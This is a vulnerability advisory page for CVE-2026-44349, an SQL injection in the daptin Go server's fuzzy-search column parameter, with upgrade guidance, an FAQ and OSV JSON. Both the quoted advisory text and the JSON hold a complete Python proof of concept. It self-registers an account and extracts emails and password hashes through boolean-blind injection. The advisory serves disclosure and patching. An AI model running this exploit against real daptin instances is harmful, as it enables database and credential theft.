CVE-2026-44349: Github.com/daptin/daptin Daptin Fuzzy Search Injects Unvalidated Vulnerability

HIGH
Advisory Identifier: GHSA-pwqg-q8pg-pp6r
CWE-89
Published
Advisory Summary

CVE-2026-44349 is a HIGH daptin fuzzy search injects unvalidated vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting Github.com/daptin/daptin libraries in the Go ecosystem. The issue involves daptin fuzzy search injects unvalidated column name into raw sql. Remediation is available by upgrading affected packages to version 0.11.5.

CVE-2026-44349 at a Glance

CVE Identifier CVE-2026-44349
GHSA Identifier GHSA-pwqg-q8pg-pp6r
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Affected Product Github.com/daptin/daptin
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-44349

To remediate this vulnerability, upgrade all affected Github.com/daptin/daptin dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/daptin/daptin fixed: 0.11.5
Upgrade github.com/daptin/daptin to 0.11.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/daptin/daptin

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-44349, inspect your project dependencies for Github.com/daptin/daptin:

inspect dependencies for github.com/daptin/daptin

Analyze the terminal output to locate any version of Github.com/daptin/daptin in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.11.5), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In Github.com/daptin/daptin, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `processFuzzySearch` in `server/resource/resource_findallpaginated.go:1484` splits the user-supplied `column` parameter by comma and interpolates each segment directly into `goqu.L(fmt.Sprintf("LOWER(%s) LIKE ?", prefix+col))` raw SQL with no column whitelist check. The entry point is `GET /api/<entity>` with `operator=fuzzy` (or `fuzzy_any`, `fuzzy_all`). Any authenticated user — including one who self-registered with no admin involvement — can read the entire database. --- ## Details At `resource_findallpaginated.go:1761`, when the operator is `fuzzy`, `fuzzy_any`, or `fuzzy_all`, execution routes to `processFuzzySearch` (line 1763) before `processQueryFilter` (line 1780). `processQueryFilter` is the only path that calls `GetColumnByName` (line 1351), which validates column names against the table schema. The fuzzy branch never reaches that check. Inside `processFuzzySearch` (line 1484), `filterQuery.ColumnName` is split by comma. After `strings.TrimSpace` (line 1486), each segment is routed to a DB-driver-specific function. The injectable sink reached depends on the driver and the `fuzzy_options.fallback_mode` field. **SQLite** (`processFuzzySearchSQLite`, lines 1632–1676) uses `goqu.L` in all code paths — no `fallback_mode` required: - `goqu.L(fmt.Sprintf("LOWER(%s) LIKE ?", prefix+col), ...)` — line 1650/1657 **PostgreSQL, MySQL, MSSQL** default to `goqu.Ex` (identifier-quoted, not injectable). The `goqu.L` sink is only reached when the attacker supplies a specific `fuzzy_options.fallback_mode` value in the HTTP `query` JSON: - PostgreSQL `word_boundary` mode (line 1540): `goqu.L(fmt.Sprintf("%s ~* ?", prefix+col), ...)` - MySQL `soundex` mode (line 1598): `goqu.L(fmt.Sprintf("SOUNDEX(%s) = SOUNDEX(?)", prefix+col), ...)` - MSSQL `soundex` mode (line 1694): `goqu.L(fmt.Sprintf("DIFFERENCE(%s, ?) >= 3", prefix+col), ...)` `fuzzy_options` is deserialized from the HTTP request at line 243 (`json.Unmarshal([]byte(query[0]), &queries)`) — it is fully attacker-controlled. `goqu.L` emits its first argument as a raw SQL literal. The column position uses `%s` string formatting, not a bound parameter. `prefix` is fixed at line 351 as `dbResource.model.GetName() + "."` — for `/api/world` this is `"world."`. Against SQLite, an attacker-supplied column value of `reference_id) OR 1=1 OR LOWER(world.reference_id` expands in the WHERE clause to `LOWER(world.reference_id) OR 1=1 OR LOWER(world.reference_id) LIKE ?`. Against PostgreSQL (where `reference_id` is stored as `bytea`), the `~*` regex operator requires a text-type column; the attack targets a `varchar` column instead (e.g., `table_name`) with an adapted injection template. **Relation to GHSA-rw2c-8rfq-gwfv**: That patch modified `resource_aggregate.go` to fix `/aggregate/:typename`. This vulnerability is in `resource_findallpaginated.go` on the `/api/<entity>` fuzzy path — different file, different endpoint, different operator. The existing patch does not cover this path. **Tested:** SQLite injection dynamically confirmed (boolean-blind extraction, email extracted). PostgreSQL `word_boundary` injection dynamically confirmed (baseline=0 rows, tautology=5 rows, email=`guest@cms.go` extracted via text column). MySQL and MSSQL confirmed by code review; MySQL binary panics on initialization in the test harness (unrelated daptin bug), dynamic verification not performed. **Fix**: Add a `GetColumnByName` whitelist check in `processFuzzySearch` (line 1484) before the comma-split, matching the pattern in `processQueryFilter:1351`. All four DB driver sinks require fixing. --- ## PoC **Environment:** ```bash git clone https://github.com/daptin/daptin cd daptin git checkout 5d3214244890989eceefa694bfc976ef11458721 go build -o daptin-server . ./daptin-server # listens on :6336, SQLite backend by default ``` **poc.py** (Python 3, no dependencies): ```python import json, urllib.request, urllib.parse BASE = "http://localhost:6336" def post(path, body): req = urllib.request.Request(BASE + path, json.dumps(body).encode(), {"Content-Type": "application/json"}) try: return json.loads(urllib.request.urlopen(req, timeout=10).read(50_000)) except urllib.request.HTTPError as e: return json.loads(e.read(50_000)) def token(): post("/action/user_account/signup", {"attributes": { "name": "poc", "email": "poc@test.com", "password": "adminadmin", "passwordConfirm": "adminadmin"}}) body = post("/action/user_account/signin", {"attributes": { "email": "poc@test.com", "password": "adminadmin"}}) return next(i["Attributes"]["value"] for i in body if i.get("ResponseType") == "client.store.set") def rows(col, jwt): q = urllib.parse.urlencode({"query": json.dumps( [{"column": col, "operator": "fuzzy", "value": "zzzzz"}])}) req = urllib.request.Request(f"{BASE}/api/world?{q}&page%5Bsize%5D=5", headers={"Authorization": "Bearer " + jwt}) d = json.loads(urllib.request.urlopen(req, timeout=10).read(50_000)) return len(d.get("data", [])) def oracle(expr, jwt): col = f"reference_id) OR ({expr}) OR LOWER(world.reference_id" return rows(col, jwt) > 0 def extract_int(sql, jwt, hi=200): lo = 0 while lo < hi: mid = (lo + hi + 1) // 2 if oracle(f"({sql}) >= {mid}", jwt): lo = mid else: hi = mid - 1 return lo def extract_str(sql, jwt, maxlen=80): n = extract_int(f"LENGTH(({sql}))", jwt, hi=maxlen) s = "" for _ in range(n): lo, hi = 32, 126 while lo < hi: mid = (lo + hi) // 2 pfx = s.replace("'", "''") expr = f"({sql}) >= '{pfx}'||char({mid+1})" if s else f"({sql}) >= char({mid+1})" if oracle(expr, jwt): lo = mid + 1 else: hi = mid s += chr(lo) return s jwt = token() print("baseline :", rows("reference_id", jwt), "rows") print("tautology:", rows("reference_id) OR 1=1 OR LOWER(world.reference_id", jwt), "rows") jwt = token() print("sqlite_master table count:", extract_int("SELECT count(*) FROM sqlite_master WHERE type='table'", jwt, hi=80)) print("email (row 1):", extract_str("SELECT email FROM user_account ORDER BY id LIMIT 1", jwt)) pw_hex = extract_str("SELECT HEX(password) FROM user_account WHERE email='poc@test.com' LIMIT 1", jwt, maxlen=40) print("pw hash prefix:", bytes.fromhex(pw_hex).decode("ascii", errors="replace")) ``` **Output** (measured on commit `5d32142`, SQLite, macOS arm64): ``` baseline : 0 rows tautology: 5 rows sqlite_master table count: 57 email (row 1): guest@cms.go pw hash prefix: $2a$11$W7vO9oOPzpf7u ``` --- ## Impact **Attacker precondition**: One valid JWT. Self-signup is enabled by default on a fresh daptin instance — no admin involvement required. **What is impacted**: The full database is readable via boolean-blind extraction, including all tables visible in `sqlite_master` and credential data (emails, bcrypt password hashes) in `user_account`. Extraction rate is approximately 7 HTTP requests per character, making full-database extraction feasible.

CVE-2026-44349 Affected Github.com/daptin/daptin Versions

1 component(s)
Fixed Versions:
0.11.5
Product / Package Ecosystem Affected Versions Fixed Version
github.com/daptin/daptin
Go
< 0.11.5
0.11.5

References

Frequently Asked Questions

What is CVE-2026-44349?
CVE-2026-44349 is a security vulnerability in Github.com/daptin/daptin involving Daptin fuzzy search injects unvalidated column name into raw SQL under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').
Which Github.com/daptin/daptin versions are affected?
Affected versions include releases prior to 0.11.5 across affected packages: github.com/daptin/daptin.
What version fixes CVE-2026-44349?
Upgrading to 0.11.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/daptin/daptin affected?
Yes, github.com/daptin/daptin is affected in releases prior to 0.11.5. Upgrade your dependency to 0.11.5 or later.
What CWE is associated with CVE-2026-44349?
CVE-2026-44349 is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.).
How can I check Go dependencies for CVE-2026-44349?
Run the dependency tree command: 'inspect dependencies for github.com/daptin/daptin'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-pwqg-q8pg-pp6r",
  "modified" : "2026-05-08T21:47:40Z",
  "published" : "2026-05-06T22:10:11Z",
  "aliases" : [ "CVE-2026-44349" ],
  "summary" : "Daptin fuzzy search injects unvalidated column name into raw SQL",
  "details" : "## Summary\n\n`processFuzzySearch` in `server/resource/resource_findallpaginated.go:1484` splits the user-supplied `column` parameter by comma and interpolates each segment directly into `goqu.L(fmt.Sprintf(\"LOWER(%s) LIKE ?\", prefix+col))` raw SQL with no column whitelist check. The entry point is `GET /api/<entity>` with `operator=fuzzy` (or `fuzzy_any`, `fuzzy_all`). Any authenticated user — including one who self-registered with no admin involvement — can read the entire database.\n\n---\n\n## Details\n\nAt `resource_findallpaginated.go:1761`, when the operator is `fuzzy`, `fuzzy_any`, or `fuzzy_all`, execution routes to `processFuzzySearch` (line 1763) before `processQueryFilter` (line 1780). `processQueryFilter` is the only path that calls `GetColumnByName` (line 1351), which validates column names against the table schema. The fuzzy branch never reaches that check.\n\nInside `processFuzzySearch` (line 1484), `filterQuery.ColumnName` is split by comma. After `strings.TrimSpace` (line 1486), each segment is routed to a DB-driver-specific function. The injectable sink reached depends on the driver and the `fuzzy_options.fallback_mode` field.\n\n**SQLite** (`processFuzzySearchSQLite`, lines 1632–1676) uses `goqu.L` in all code paths — no `fallback_mode` required:\n- `goqu.L(fmt.Sprintf(\"LOWER(%s) LIKE ?\", prefix+col), ...)` — line 1650/1657\n\n**PostgreSQL, MySQL, MSSQL** default to `goqu.Ex` (identifier-quoted, not injectable). The `goqu.L` sink is only reached when the attacker supplies a specific `fuzzy_options.fallback_mode` value in the HTTP `query` JSON:\n\n- PostgreSQL `word_boundary` mode (line 1540): `goqu.L(fmt.Sprintf(\"%s ~* ?\", prefix+col), ...)`\n- MySQL `soundex` mode (line 1598): `goqu.L(fmt.Sprintf(\"SOUNDEX(%s) = SOUNDEX(?)\", prefix+col), ...)`\n- MSSQL `soundex` mode (line 1694): `goqu.L(fmt.Sprintf(\"DIFFERENCE(%s, ?) >= 3\", prefix+col), ...)`\n\n`fuzzy_options` is deserialized from the HTTP request at line 243 (`json.Unmarshal([]byte(query[0]), &queries)`) — it is fully attacker-controlled.\n\n`goqu.L` emits its first argument as a raw SQL literal. The column position uses `%s` string formatting, not a bound parameter.\n\n`prefix` is fixed at line 351 as `dbResource.model.GetName() + \".\"` — for `/api/world` this is `\"world.\"`. Against SQLite, an attacker-supplied column value of `reference_id) OR 1=1 OR LOWER(world.reference_id` expands in the WHERE clause to `LOWER(world.reference_id) OR 1=1 OR LOWER(world.reference_id) LIKE ?`. Against PostgreSQL (where `reference_id` is stored as `bytea`), the `~*` regex operator requires a text-type column; the attack targets a `varchar` column instead (e.g., `table_name`) with an adapted injection template.\n\n**Relation to GHSA-rw2c-8rfq-gwfv**: That patch modified `resource_aggregate.go` to fix `/aggregate/:typename`. This vulnerability is in `resource_findallpaginated.go` on the `/api/<entity>` fuzzy path — different file, different endpoint, different operator. The existing patch does not cover this path.\n\n**Tested:** SQLite injection dynamically confirmed (boolean-blind extraction, email extracted). PostgreSQL `word_boundary` injection dynamically confirmed (baseline=0 rows, tautology=5 rows, email=`guest@cms.go` extracted via text column). MySQL and MSSQL confirmed by code review; MySQL binary panics on initialization in the test harness (unrelated daptin bug), dynamic verification not performed.\n\n**Fix**: Add a `GetColumnByName` whitelist check in `processFuzzySearch` (line 1484) before the comma-split, matching the pattern in `processQueryFilter:1351`. All four DB driver sinks require fixing.\n\n---\n\n## PoC\n\n**Environment:**\n\n```bash\ngit clone https://github.com/daptin/daptin\ncd daptin\ngit checkout 5d3214244890989eceefa694bfc976ef11458721\ngo build -o daptin-server .\n./daptin-server   # listens on :6336, SQLite backend by default\n```\n\n**poc.py** (Python 3, no dependencies):\n\n```python\nimport json, urllib.request, urllib.parse\n\nBASE = \"http://localhost:6336\"\n\ndef post(path, body):\n    req = urllib.request.Request(BASE + path, json.dumps(body).encode(),\n                                 {\"Content-Type\": \"application/json\"})\n    try:\n        return json.loads(urllib.request.urlopen(req, timeout=10).read(50_000))\n    except urllib.request.HTTPError as e:\n        return json.loads(e.read(50_000))\n\ndef token():\n    post(\"/action/user_account/signup\", {\"attributes\": {\n        \"name\": \"poc\", \"email\": \"poc@test.com\",\n        \"password\": \"adminadmin\", \"passwordConfirm\": \"adminadmin\"}})\n    body = post(\"/action/user_account/signin\", {\"attributes\": {\n        \"email\": \"poc@test.com\", \"password\": \"adminadmin\"}})\n    return next(i[\"Attributes\"][\"value\"] for i in body\n                if i.get(\"ResponseType\") == \"client.store.set\")\n\ndef rows(col, jwt):\n    q = urllib.parse.urlencode({\"query\": json.dumps(\n        [{\"column\": col, \"operator\": \"fuzzy\", \"value\": \"zzzzz\"}])})\n    req = urllib.request.Request(f\"{BASE}/api/world?{q}&page%5Bsize%5D=5\",\n                                 headers={\"Authorization\": \"Bearer \" + jwt})\n    d = json.loads(urllib.request.urlopen(req, timeout=10).read(50_000))\n    return len(d.get(\"data\", []))\n\ndef oracle(expr, jwt):\n    col = f\"reference_id) OR ({expr}) OR LOWER(world.reference_id\"\n    return rows(col, jwt) > 0\n\ndef extract_int(sql, jwt, hi=200):\n    lo = 0\n    while lo < hi:\n        mid = (lo + hi + 1) // 2\n        if oracle(f\"({sql}) >= {mid}\", jwt): lo = mid\n        else: hi = mid - 1\n    return lo\n\ndef extract_str(sql, jwt, maxlen=80):\n    n = extract_int(f\"LENGTH(({sql}))\", jwt, hi=maxlen)\n    s = \"\"\n    for _ in range(n):\n        lo, hi = 32, 126\n        while lo < hi:\n            mid = (lo + hi) // 2\n            pfx = s.replace(\"'\", \"''\")\n            expr = f\"({sql}) >= '{pfx}'||char({mid+1})\" if s else f\"({sql}) >= char({mid+1})\"\n            if oracle(expr, jwt): lo = mid + 1\n            else: hi = mid\n        s += chr(lo)\n    return s\n\njwt = token()\nprint(\"baseline :\", rows(\"reference_id\", jwt), \"rows\")\nprint(\"tautology:\", rows(\"reference_id) OR 1=1 OR LOWER(world.reference_id\", jwt), \"rows\")\n\njwt = token()\nprint(\"sqlite_master table count:\", extract_int(\"SELECT count(*) FROM sqlite_master WHERE type='table'\", jwt, hi=80))\nprint(\"email (row 1):\", extract_str(\"SELECT email FROM user_account ORDER BY id LIMIT 1\", jwt))\npw_hex = extract_str(\"SELECT HEX(password) FROM user_account WHERE email='poc@test.com' LIMIT 1\", jwt, maxlen=40)\nprint(\"pw hash prefix:\", bytes.fromhex(pw_hex).decode(\"ascii\", errors=\"replace\"))\n```\n\n**Output** (measured on commit `5d32142`, SQLite, macOS arm64):\n\n```\nbaseline : 0 rows\ntautology: 5 rows\nsqlite_master table count: 57\nemail (row 1): guest@cms.go\npw hash prefix: $2a$11$W7vO9oOPzpf7u\n```\n\n---\n\n## Impact\n\n**Attacker precondition**: One valid JWT. Self-signup is enabled by default on a fresh daptin instance — no admin involvement required.\n\n**What is impacted**: The full database is readable via boolean-blind extraction, including all tables visible in `sqlite_master` and credential data (emails, bcrypt password hashes) in `user_account`. Extraction rate is approximately 7 HTTP requests per character, making full-database extraction feasible.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/daptin/daptin"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.11.5"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.11.4"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/daptin/daptin/security/advisories/GHSA-pwqg-q8pg-pp6r"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44349"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/daptin/daptin"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/daptin/daptin/releases/tag/v0.11.5"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-89" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-06T22:10:11Z",
    "nvd_published_at" : "2026-05-07T15:16:10Z"
  }
}